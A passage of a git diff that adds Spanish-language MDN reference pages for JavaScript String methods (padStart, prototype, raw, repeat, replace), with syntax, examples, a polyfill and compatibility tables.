+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-string.prototype.normalize', 'String.prototype.normalize')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.normalize', 'String.prototype.normalize')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_Navegadores">Compatibilidad de Navegadores</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta página es generada desde datos estructurados. Si quiere contribuir a estos datos, por favor hágalo utilizando éste repositorio <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos un pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.normalize")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a href="http://www.unicode.org/reports/tr15/">Anexo del Estándar Unicode #15, Formas de Normalización Unicode</a></li>
+ <li><a href="http://en.wikipedia.org/wiki/Unicode_equivalence">Equivalencia Unicode</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/padstart/index.html b/files/es/web/javascript/referencia/objetos_globales/string/padstart/index.html
new file mode 100644
index 0000000000..57abbd8f5c
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/padstart/index.html
@@ -0,0 +1,100 @@
+---
+title: String.prototype.padStart()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/padStart
+tags:
+  - Cadena
+  - Experimental
+  - JavaScript
+  - Método(2)
+  - Referencia
+translation_of: Web/JavaScript/Reference/Global_Objects/String/padStart
+---
+<div>{{JSRef}}{{SeeCompatTable}}</div>
+
+<p>El método <code><strong>padStart()</strong></code> rellena la cadena actual con una cadena dada (repetida eventualmente) de modo que la cadena resultante alcance una longitud dada. El relleno es aplicado desde el inicio (izquierda) de la cadena actual.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>str</var>.padStart(<var>targetLength</var> [, <var>padString</var>])</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>targetLength</code></dt>
+ <dd>La longitud de la cadena resultante una vez la cadena actual haya sido rellenada. Si este parámetro es más pequeño que la longitud de la cadena actual, la cadena actual será devuelta sin modificar.</dd>
+ <dt><code>padString</code> {{optional_inline}}</dt>
+ <dd>La cadena para rellenar la cadena actual. Si esta cadena es muy larga, será recortada y la parte más a la izquierda será aplicada. El valor por defecto para este parámetro es " " (U+0020).</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Un {{jsxref("String")}} de la longitud específicada con la cadena de relleno aplicada desde el inicio.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">'abc'.padStart(10);         // "       abc"
+'abc'.padStart(10, "foo");  // "foofoofabc"
+'abc'.padStart(6,"123465"); // "123abc"
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>Este método aún no ha alcanzado el estándar ECMAScript. Actualmente es una <a href="https://github.com/tc39/proposal-string-pad-start-end">propuesta para ECMAScript</a>.</p>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome("52")}} </td>
+   <td>{{CompatGeckoDesktop(48)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(48)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("String.padEnd()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/prototype/index.html b/files/es/web/javascript/referencia/objetos_globales/string/prototype/index.html
new file mode 100644
index 0000000000..1ea663138c
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/prototype/index.html
@@ -0,0 +1,117 @@
+---
+title: String.prototype
+slug: Web/JavaScript/Referencia/Objetos_globales/String/prototype
+tags:
+  - JavaScript
+  - Property
+  - Prototype
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String
+---
+<p>{{JSRef("Objetos_globales", "String")}}</p>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>The <strong><code>String.prototype</code></strong> propiedad representa el prototipo de esta clase. Puede usar el prototipo para añadir propiedades o métodos a todas las instancias de una clase.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt><code>String.prototype.constructor</code></dt>
+ <dd>Especifica la función que crea un prototipo de objeto.</dd>
+ <dt>{{jsxref("String.prototype.length")}}</dt>
+ <dd>Refleja la longitud de la cadena.</dd>
+</dl>
+
+<div>{{ jsOverrides("Object", "properties", "constructor", "length") }}</div>
+
+<h2 id="Métodos">Métodos</h2>
+
+<h3 id="M.C3.A9todos_no_relacionados_con_HTML" name="M.C3.A9todos_no_relacionados_con_HTML">Métodos no relacionados con HTML</h3>
+
+<dl>
+ <dt>{{jsxref("String.prototype.charAt()")}}</dt>
+ <dd>Devuelve el carácter en el índice especificado.</dd>
+ <dt>{{jsxref("String.prototype.charCodeAt()")}}</dt>
+ <dd>Devuelve el número que indica el valor Unicode del carácter en el índice especificado.</dd>
+ <dt>{{jsxref("String.prototype.concat()")}}</dt>
+ <dd>Combina el texto de dos cadenas y devuelve una nueva cadena.</dd>
+ <dt>{{jsxref("String.prototype.indexOf()")}}</dt>
+ <dd>Devuelve el índice dentro del objeto <code>String</code> que realiza la llamada de la primera ocurrencia del valor especificado, o -1 si no lo encuentra.</dd>
+ <dt>{{jsxref("String.prototype.lastIndexOf()")}}</dt>
+ <dd>Devuelve el índice dentro del objeto <code>String</code> que realiza la llamada de la última ocurrencia del valor especificado, o -1 si no lo encuentra.</dd>
+ <dt>{{jsxref("String.prototype.match()")}}</dt>
+ <dd>Se usa para emparejar una expresión regular con una cadena.</dd>
+ <dt>{{jsxref("String.prototype.replace()")}}</dt>
+ <dd>Se usa para emparejar una expresión regular con una cadena, y reemplezar la subcadena emparejada con una nueva subcadena.</dd>
+ <dt>{{jsxref("String.prototype.search()")}}</dt>
+ <dd>Realiza una búsqueda de una expresión regular en una cadena especificada.</dd>
+ <dt>{{jsxref("String.prototype.slice()")}}</dt>
+ <dd>Extrae una sección de una cadena y devuelve una nueva cadena.</dd>
+ <dt>{{jsxref("String.prototype.split()")}}</dt>
+ <dd>Divide un objeto <code>String</code> en un arreglo de cadenas, separando la cadena en subcadenas.</dd>
+ <dt>{{jsxref("String.prototype.substr()")}}</dt>
+ <dd>Devuelve los caracteres de una cadena comenzando en la localización especificada y hasta el número de caracteres especificado.</dd>
+ <dt>{{jsxref("String.prototype.substring()")}}</dt>
+ <dd>Devuelve los caracteres de una cadena entre dos índices dentro de la cadena.</dd>
+ <dt>{{jsxref("String.prototype.toLowerCase()")}}</dt>
+ <dd>Devuelve el valor de la cadena que realiza la llamada en minúsculas.</dd>
+ <dt>{{jsxref("String.prototype.toSource()")}}</dt>
+ <dd>Devuelve el objeto literal que representa el objeto especificado; puede usar este valor para crear un nuevo objeto. Sobreescribe el método {{jsxref("Object.prototype.toSource()")}}.</dd>
+ <dt>{{jsxref("String.prototype.toString()")}}</dt>
+ <dd>Devuelve una cadena que representa el objeto especificado. Sobreescribe el método {{jsxref("Object.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("String.prototype.toUpperCase()")}}</dt>
+ <dd>Devuelve el valor de la cadena que realiza la llamada en mayúsculas.</dd>
+ <dt>{{jsxref("String.prototype.valueOf()")}}</dt>
+ <dd>Devuelve el valor primitivo del objeto especificado. Sobreescribe el método {{jsxref("Object.prototype.valueOf()")}}.</dd>
+</dl>
+
+<h3 id="HTML_wrapper_methods" name="HTML_wrapper_methods">Métodos de encapsulado HTML</h3>
+
+<p>Cada uno de los métodos siguientes devuelve una copia de la cadena encapsulada dentro de una etiqueta HTML. Por ejemplo, "test".bold() devuelve "&lt;b&gt;test&lt;/b&gt;".</p>
+
+<dl>
+ <dt>{{jsxref("String.prototype.anchor()")}}</dt>
+ <dd><a class="external" href="http://www.w3.org/TR/html401/struct/links.html#adef-name-A"><code>&lt;a name="<em>name</em>"&gt;</code></a> (Ancha Hipertexto)</dd>
+ <dt>{{jsxref("String.prototype.big()")}}</dt>
+ <dd>{{HTMLElement("big")}}</dd>
+ <dt>{{jsxref("String.prototype.blink()")}}</dt>
+ <dd>{{HTMLElement("blink")}}</dd>
+ <dt>{{jsxref("String.prototype.bold()")}}</dt>
+ <dd>{{HTMLElement("b")}}</dd>
+ <dt>{{jsxref("String.prototype.fixed()")}}</dt>
+ <dd>{{HTMLElement("tt")}}</dd>
+ <dt>{{jsxref("String.prototype.fontcolor()")}}</dt>
+ <dd><code>&lt;font color="<em>color</em>"&gt;</code></dd>
+ <dt>{{jsxref("String.prototype.fontsize()")}}</dt>
+ <dd><code>&lt;font size="<em>size</em>"&gt;</code></dd>
+ <dt>{{jsxref("String.prototype.italics()")}}</dt>
+ <dd>{{HTMLElement("i")}}</dd>
+ <dt>{{jsxref("String.prototype.link()")}}</dt>
+ <dd><a class="external" href="http://www.w3.org/TR/html401/struct/links.html#adef-href"><code>&lt;a href="<em>url</em>"&gt;</code></a> (Enlace a URL)</dd>
+ <dt>{{jsxref("String.prototype.small()")}}</dt>
+ <dd>{{HTMLElement("small")}}</dd>
+ <dt>{{jsxref("String.prototype.strike()")}}</dt>
+ <dd>{{HTMLElement("strike")}}</dd>
+ <dt>{{jsxref("String.prototype.sub()")}}</dt>
+ <dd>{{HTMLElement("sub")}}</dd>
+ <dt>{{jsxref("String.prototype.sup()")}}</dt>
+ <dd>{{HTMLElement("sup")}}</dd>
+</dl>
+
+<p>Estos métodos son de uso limitado, ya que sólo están disponibles un subconjunto de etiquetas HTML y atributos.</p>
+
+<p>{{ jsOverrides("Object", "methods", "charAt", "charCodeAt", "concat", "indexOf", "lastIndexOf", "localeCompare", "match", "quote", "replace", "search", "slice", "split", "substr", "substring", "toLocaleLowerCase", "toLocaleUpperCase", "toLowerCase", "toSource", "toString", "toUpperCase", "trim", "trimLeft", "trimRight", "valueOf", "anchor", "big", "blink", "bold", "fixed", "fontcolor", "fontsize", "italics", "link", "small", "strike", "sub", "sup") }}</p>
+
+<h2 id="See_also" name="See_also">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("String")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
+
+<dl>
+ <dt> </dt>
+</dl>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/raw/index.html b/files/es/web/javascript/referencia/objetos_globales/string/raw/index.html
new file mode 100644
index 0000000000..3c8f3c1d55
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/raw/index.html
@@ -0,0 +1,112 @@
+---
+title: String.raw()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/raw
+translation_of: Web/JavaScript/Reference/Global_Objects/String/raw
+---
+<div>{{JSRef}}</div>
+
+<p>El método estatico <strong><code>String.raw()</code> </strong> es una función de <a href="/en-US/docs/Web/JavaScript/Reference/template_strings"> plantilla de literales</a>, similar al prefijo <code>r</code> en Python o al prefijo <code>@</code> en C# para strings literales (con ciertas diferencias: ver la explicación en <a href="https://bugs.chromium.org/p/v8/issues/detail?id=5016">este problema</a>). Se utiliza para obtener un <em>string</em> crudo a partir de plantillas de <em>string</em> (es decir, el original, texto no interpretado).</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>String.raw(<var>callSite</var>, <var>...substitutions</var>)
+
+String.raw`templateString`
+</code></pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code>callSite</code></dt>
+ <dd>Plantilla bien estructurada, similar a <code>{ raw: ['foo', 'bar', 'baz'] }</code>.</dd>
+ <dt><code>...substitutions</code></dt>
+ <dd>Contiene valores de sustitución.</dd>
+ <dt><code>templateString</code></dt>
+ <dd>[opcional] Una <a href="/en-US/docs/Web/JavaScript/Reference/template_strings">plantilla <em>string</em></a>, con sustituciones (<code>${...}</code>).</dd>
+</dl>
+
+<h3 id="Valor_de_regreso">Valor de regreso</h3>
+
+<p>La forma cruda del <em>string </em>de una plantilla <em>string </em>proporcionada.</p>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<dl>
+ <dt>{{jsxref("TypeError")}}</dt>
+ <dd>Un {{jsxref("TypeError")}} es arrojado si el primer argumento no es un objeto bien estructurado.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>En la mayoría de los casos, <code>String.raw()</code> es usado con plantillas <em>string</em>. La primera sintaxis mencionada arriba es raramente usada,  porque el motor de JavaScript hará la llamada por ti con los argumentos apropiados, al igual que otras <a href="/en-US/docs/Web/JavaScript/Reference/template_strings#Tagged_template_literals">funciones de etiqueta</a>.</p>
+
+<p><code>String.raw()</code> es la unica función de etiqueta incorporada en las plantillas <em>string</em>; trabaja igual que la función de la plantilla por defecto y ejecuta la concatenación. Incluso puedes reimplementarlo con código normal de JavaScript.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_String.raw()">Usando <code>String.raw()</code></h3>
+
+<pre class="brush: js">String.raw`Hi\n${2+3}!`;
+// 'Hi\n5!', the character after 'Hi'
+// is not a newline character,
+// '\' and 'n' are two characters.
+
+String.raw`Hi\u000A!`;
+// 'Hi\u000A!', same here, this time we will get the
+//  \, u, 0, 0, 0, A, 6 characters.
+// All kinds of escape characters will be ineffective
+// and backslashes will be present in the output string.
+// You can confirm this by checking the .length property
+// of the string.
+
+let name = 'Bob';
+String.raw`Hi\n${name}!`;
+// 'Hi\nBob!', substitutions are processed.
+
+// Normally you would not call String.raw() as a function,
+// but to simulate `t${0}e${1}s${2}t` you can do:
+String.raw({ raw: 'test' }, 0, 1, 2); // 't0e1s2t'
+// Note that 'test', a string, is an array-like object
+// The following is equivalent to
+// `foo${2 + 3}bar${'Java' + 'Script'}baz`
+String.raw({
+  raw: ['foo', 'bar', 'baz']
+}, 2 + 3, 'Java' + 'Script'); // 'foo5barJavaScriptbaz'
+
+</pre>
+
+<h2 id="Especificaciónes">Especificaciónes</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-string.raw', 'String.raw')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definicion inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.raw', 'String.raw')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegador">Compatibilidad de navegador</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.raw")}}</p>
+
+<h2 id="Tambien_ver">Tambien ver</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/template_strings">Template strings</a></li>
+ <li>{{jsxref("String")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar">Lexical grammar</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/repeat/index.html b/files/es/web/javascript/referencia/objetos_globales/string/repeat/index.html
new file mode 100644
index 0000000000..a449bdfb27
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/repeat/index.html
@@ -0,0 +1,128 @@
+---
+title: String.prototype.repeat()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/repeat
+tags:
+  - ECMAScript2015
+  - JavaScript
+  - Prototype
+  - Referencia
+  - String
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/String/repeat
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>repeat()</code></strong> construye y devuelve una nueva cadena que contiene el número especificado de copias de la cadena en la cual fue llamada, concatenados.</p>
+
+<h2 id="Sintáxis">Sintáxis</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.repeat(<var>count</var>)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>count</code></dt>
+ <dd>Un entero entre 0 y +∞: [0, +∞), indicando el número de veces a repetir la cadena en la nueva cadenada creada que será devuelta.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Un nuevo string que contiene el número especificado de copias del string original.</p>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<ul>
+ <li>{{jsxref("Errors/Negative_repetition_count", "RangeError")}}: El número de repeticiones no debe ser negativo.</li>
+ <li>{{jsxref("Errors/Resulting_string_too_large", "RangeError")}}: El número de repeticiones debe ser menor que infinito y no desbordar el tamaño máximo para un string.</li>
+</ul>
+
+<dl>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">'abc'.repeat(-1);   // RangeError
+'abc'.repeat(0);    // ''
+'abc'.repeat(1);    // 'abc'
+'abc'.repeat(2);    // 'abcabc'
+'abc'.repeat(3.5);  // 'abcabcabc' (count will be converted to integer)
+'abc'.repeat(1/0);  // RangeError
+
+({ toString: () =&gt; 'abc', repeat: String.prototype.repeat }).repeat(2);
+// 'abcabc' (repeat() is a generic method)
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Este método ha sido añadido a la especificación ECMAScript 6 y tal vez aún no se encuentre disponible en todas las implementaciones de JavaScript. Sin embargo, usted puede establecer <code>String.prototype.repeat()</code> con el siguiente fragmento de código:</p>
+
+<pre class="brush: js">if (!String.prototype.repeat) {
+  String.prototype.repeat = function(count) {
+    'use strict';
+    if (this == null) {
+      throw new TypeError('can\'t convert ' + this + ' to object');
+    }
+    var str = '' + this;
+    count = +count;
+    if (count != count) {
+      count = 0;
+    }
+    if (count &lt; 0) {
+      throw new RangeError('repeat count must be non-negative');
+    }
+    if (count == Infinity) {
+      throw new RangeError('repeat count must be less than infinity');
+    }
+    count = Math.floor(count);
+    if (str.length == 0 || count == 0) {
+      return '';
+    }
+    // Ensuring count is a 31-bit integer allows us to heavily optimize the
+    // main part. But anyway, most current (August 2014) browsers can't handle
+    // strings 1 &lt;&lt; 28 chars or longer, so:
+    if (str.length * count &gt;= 1 &lt;&lt; 28) {
+      throw new RangeError('repeat count must not overflow maximum string size');
+    }
+    var rpt = '';
+    for (;;) {
+      if ((count &amp; 1) == 1) {
+        rpt += str;
+      }
+      count &gt;&gt;&gt;= 1;
+      if (count == 0) {
+        break;
+      }
+      str += str;
+    }
+    return rpt;
+  }
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.repeat', 'String.prototype.repeat')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.repeat', 'String.prototype.repeat')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_Navegadores">Compatibilidad en Navegadores</h2>
+
+<div>{{Compat("javascript.builtins.String.repeat")}}</div>
+
+<div id="compat-mobile"> </div>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/replace/index.html b/files/es/web/javascript/referencia/objetos_globales/string/replace/index.html
new file mode 100644
index 0000000000..680393ece1
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/replace/index.html
@@ -0,0 +1,202 @@
+---
+title: String.prototype.replace()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/replace
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Regular Expressions
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/replace
+---
+<p>{{JSRef("Objetos_globales", "String")}}</p>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p><span class="seoSummary">El método <strong><code>replace()</code></strong> devuelve una nueva cadena con algunas o todas las coincidencias de un <code>patrón</code>, siendo cada una de estas coincidencias reemplazadas por <code>remplazo</code></span>. El <code>patrón</code> puede ser una cadena o una {{jsxref("RegExp")}}, y el <code>reemplazo</code> puede ser una cadena o una función que será llamada para cada coincidencia. Si el <code>patrón</code> es una cadena, sólo la primera coincidencia será reemplazada.</p>
+
+<p>La cadena original permanecerá inalterada.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-replace.html")}}</div>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="eval"><code class="language-html"><em>cadena</em>.replace(regexp|substr, newSubStr|function[, </code>{{ Non-standard_inline() }} <code class="language-html">flags]);</code>
+</pre>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<dl>
+ <dt><code>expresionregular</code></dt>
+ <dd>Un objeto {{jsxref("RegExp")}} o literal. Las coincidencias son reemplazadas por <code class="language-html">ewSubSt</code> o el valor devuelto por la función especificada.</dd>
+</dl>
+
+<dl>
+ <dt><code>subcadena</code></dt>
+ <dd>Un objeto {{jsxref("String")}} que será reemplazado por <code>nuevaSubcadena</code>.</dd>
+</dl>
+
+<dl>
+ <dt><code>nuevaSubcadena</code></dt>
+ <dd>El objeto {{jsxref("String")}} que reemplaza la subcadena que recibida desde el primer parámetro.</dd>
+</dl>
+
+<dl>
+ <dt><code>funcion</code></dt>
+ <dd>Una función que será invocada para crear la nueva subcadena (para ponerla en lugar de la subcadena recibida por el primer parámetro).</dd>
+</dl>
+
+<dl>
+ <dt><code>flags</code> {{ non-standard_inline() }}</dt>
+ <dd>Un objeto {{jsxref("String")}} que contiene cualquier combinación de flags de la clase RegExp: <code>g</code> - emparejamiento global, <code>i</code> - ignorar mayúsculas, <code>m</code> - emparejar multiples líneas. Este parámetro se usa sólo si el primer parámetro es una cadena.</dd>
+</dl>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+
+<p>Este método no cambia el objeto <code>String</code> sobre el que se realiza la llamada. Simplemente devuelve una nueva cadena.</p>
+
+<p>Para realizar una búsqueda global y reemplazarla, o se incluye el flag <code>g</code> en la expresión regular o si el primer parámetro es una cadena, se incluye <code>g</code> en el parámetro <code>flags</code>.</p>
+
+<h4 id="Especificando_una_cadena_como_un_par.C3.A1metro" name="Especificando_una_cadena_como_un_par.C3.A1metro">Especificando una cadena como un parámetro</h4>
+
+<p>La cadena de reemplazo puede incluir los siguientes patrones de reemplazo especiales:</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td class="header">Patrón</td>
+   <td class="header">Inserta</td>
+  </tr>
+  <tr>
+   <td><code>$$</code></td>
+   <td>Inserta una "$".</td>
+  </tr>
+  <tr>
+   <td><code>$&amp;</code></td>
+   <td>Inserta la subcadena emparejada.</td>
+  </tr>
+  <tr>
+   <td><code>$`</code></td>
+   <td>Inserta la sección de cadena que precede a la subcadena emparejada.</td>
+  </tr>
+  <tr>
+   <td><code>$'</code></td>
+   <td>Inserta la porción de subcadena que sigue a la subcadena emparejada.</td>
+  </tr>
+  <tr>
+   <td style="white-space: nowrap;"><code>$<em>n</em> </code> o <code>$<em>nn</em> </code></td>
+   <td>Donde <code><em>n</em> </code> o <code><em>nn</em> </code> son dígitos decimales positivos menores a 100, inserta la subcadena emparejada de orden <em>n</em> del paréntesis, proporcionado por el primer argumento del objeto <code>RegExp</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Especificando_una_funci.C3.B3n_con_un_par.C3.A1metro" name="Especificando_una_funci.C3.B3n_con_un_par.C3.A1metro">Especificando una función con un parámetro</h3>
+
+<p>Cuando se especifica una función en el segundo parámetro, la función es invocada después de que el emparejamiento se haya realizado. (El uso de una función de este modo se llama expresión lambda.)</p>
+
+<p>En la función, puedes generar dinámicamente la cadena que reemplaza la subcadena emparejada. El resultado de la llamada de la función se usa como valor de reemplazo.</p>
+
+<p>The nested function can use the matched substrings to determine the new string (<code>newSubStr</code>) that replaces the found substring. You get the matched substrings through the parameters of your function. The first parameter of your function holds the complete matched substring. If the first argument was a <code>RegExp</code> object, then the following<em>n</em> parameters can be used for parenthetical matches, remembered submatch strings, where<em>n</em> is the number of submatch strings in the regular expression. Finally, the last two parameters are the offset within the string where the match occurred and the string itself. For example, the following <code>replace</code> method returns XXzzzz - XX , zzzz.</p>
+
+<pre class="brush: js">function replacer(str, p1, p2, offset, s)
+{
+  return str + " - " + p1 + " , " + p2;
+}
+var newString = "XXzzzz".replace(/(X*)(z*)/, replacer);
+console.log(newString); // XXzzzz - XX , zzzz
+</pre>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo_Using_global_and_ignore_with_replace" name="Ejemplo:_Using_global_and_ignore_with_replace">Ejemplo: Usando <code>global</code> e <code>ignore</code> con <code>replace</code></h3>
+
+<p>En el siguiente ejemplo, la expresión regular incluye las banderas "global" e "ignore case", las cuales permiten al método <code>replace</code> reemplazar cada aparición de la cadena 'apples' por la cadena 'oranges'.</p>
+
+<pre class="eval">var re = /apples/gi;
+var str = "Apples are round, and apples are juicy.";
+var newstr = str.replace(re, "oranges");
+print(newstr);
+</pre>
+
+<p>In this version, a string is used as the first parameter and the global and ignore case flags are specified in the <code>flags</code> parameter.</p>
+
+<pre class="eval">var str = "Apples are round, and apples are juicy.";
+var newstr = str.replace("apples", "oranges", "gi");
+print(newstr);
+</pre>
+
+<p>Both of these examples print "oranges are round, and oranges are juicy."</p>
+
+<h3 id="Ejemplo_Definiendo_la_expresi.C3.B3n_regular_en_replace" name="Ejemplo:_Definiendo_la_expresi.C3.B3n_regular_en_replace">Ejemplo: Definiendo la expresión regular en <code>replace</code></h3>
+
+<p>En el siguiente ejemplo, se define la expresión regular en <code>replace</code> e incluye el flag de ignorar mayúsculas.</p>
+
+<pre class="eval">var cadena = "Twas the night before Xmas...";
+var nuevaCadena = cadena.replace(/xmas/i, "Christmas");
+print(nuevaCadena);
+</pre>
+
+<p>Esto muestra "Twas the night before Christmas..."</p>
+
+<h3 id="Ejemplo_Conectando_palabras_en_una_cadena" name="Ejemplo:_Conectando_palabras_en_una_cadena">Ejemplo: Conectando palabras en una cadena</h3>
+
+<p>El siguiente código conecta las palabras dentro de la cadena. Para reemplazar el texto, el código usa <code>$1</code> y <code>$2</code> como patrones de reemplazo.</p>
+
+<pre class="eval">var expresion = /(\w+)\s(\w+)/;
+var cadena = "John Smith";
+var nuevaCadena = cadena.replace(expresion, "$2, $1");
+print(nuevaCadena);
+</pre>
+
+<p>Esto muestra "Smith, John".</p>
+
+<h3 id="Ejemplo_Using_an_inline_function_that_modifies_the_matched_characters" name="Ejemplo:_Using_an_inline_function_that_modifies_the_matched_characters">Ejemplo: Using an inline function that modifies the matched characters</h3>
+
+<p>In this example, all occurrences of capital letters in the string are converted to lower case, and a hyphen is inserted just before the match location. The important thing here is that additional operations are needed on the matched item before it is given back as a replacement.</p>
+
+<p>The replacement function accepts the matched snippet as its parameter, and uses it to transform the case and concatenate the hyphen before returning.</p>
+
+<pre class="brush: js">function styleHyphenFormat(propertyName)
+{
+  function upperToHyphenLower(match)
+  {
+    return '-' + match.toLowerCase();
+  }
+  return propertyName.replace(/[A-Z]/, upperToHyphenLower);
+}
+</pre>
+
+<p>Given <code>styleHyphenFormat('borderTop')</code>, this returns 'border-top'.</p>
+
+<p>Because we want to further transform the<em>result</em> of the match before the final substitution is made, we must use a function. This forces the evaluation of the match prior to the <code>toLowerCase()</code> method. If we had tried to do this using the match without a function, the toLowerCase() would have no effect.</p>
+
+<pre class="brush: js">var newString = propertyName.replace(/[A-Z]/, '-' + '$&amp;'.toLowerCase());  // won't work
+</pre>
+
+<p>This is because <code>'$&amp;'.toLowerCase()</code> would be evaluated first as a string literal (resulting in the same <code>'$&amp;'</code>) before using the characters as a pattern.</p>
+
+<h3 id="Ejemplo_Reemplazando_grandos_Fahrenheit_con_su_equivalente_Celsius" name="Ejemplo:_Reemplazando_grandos_Fahrenheit_con_su_equivalente_Celsius">Ejemplo: Reemplazando grados Fahrenheit con su equivalente Celsius</h3>
+
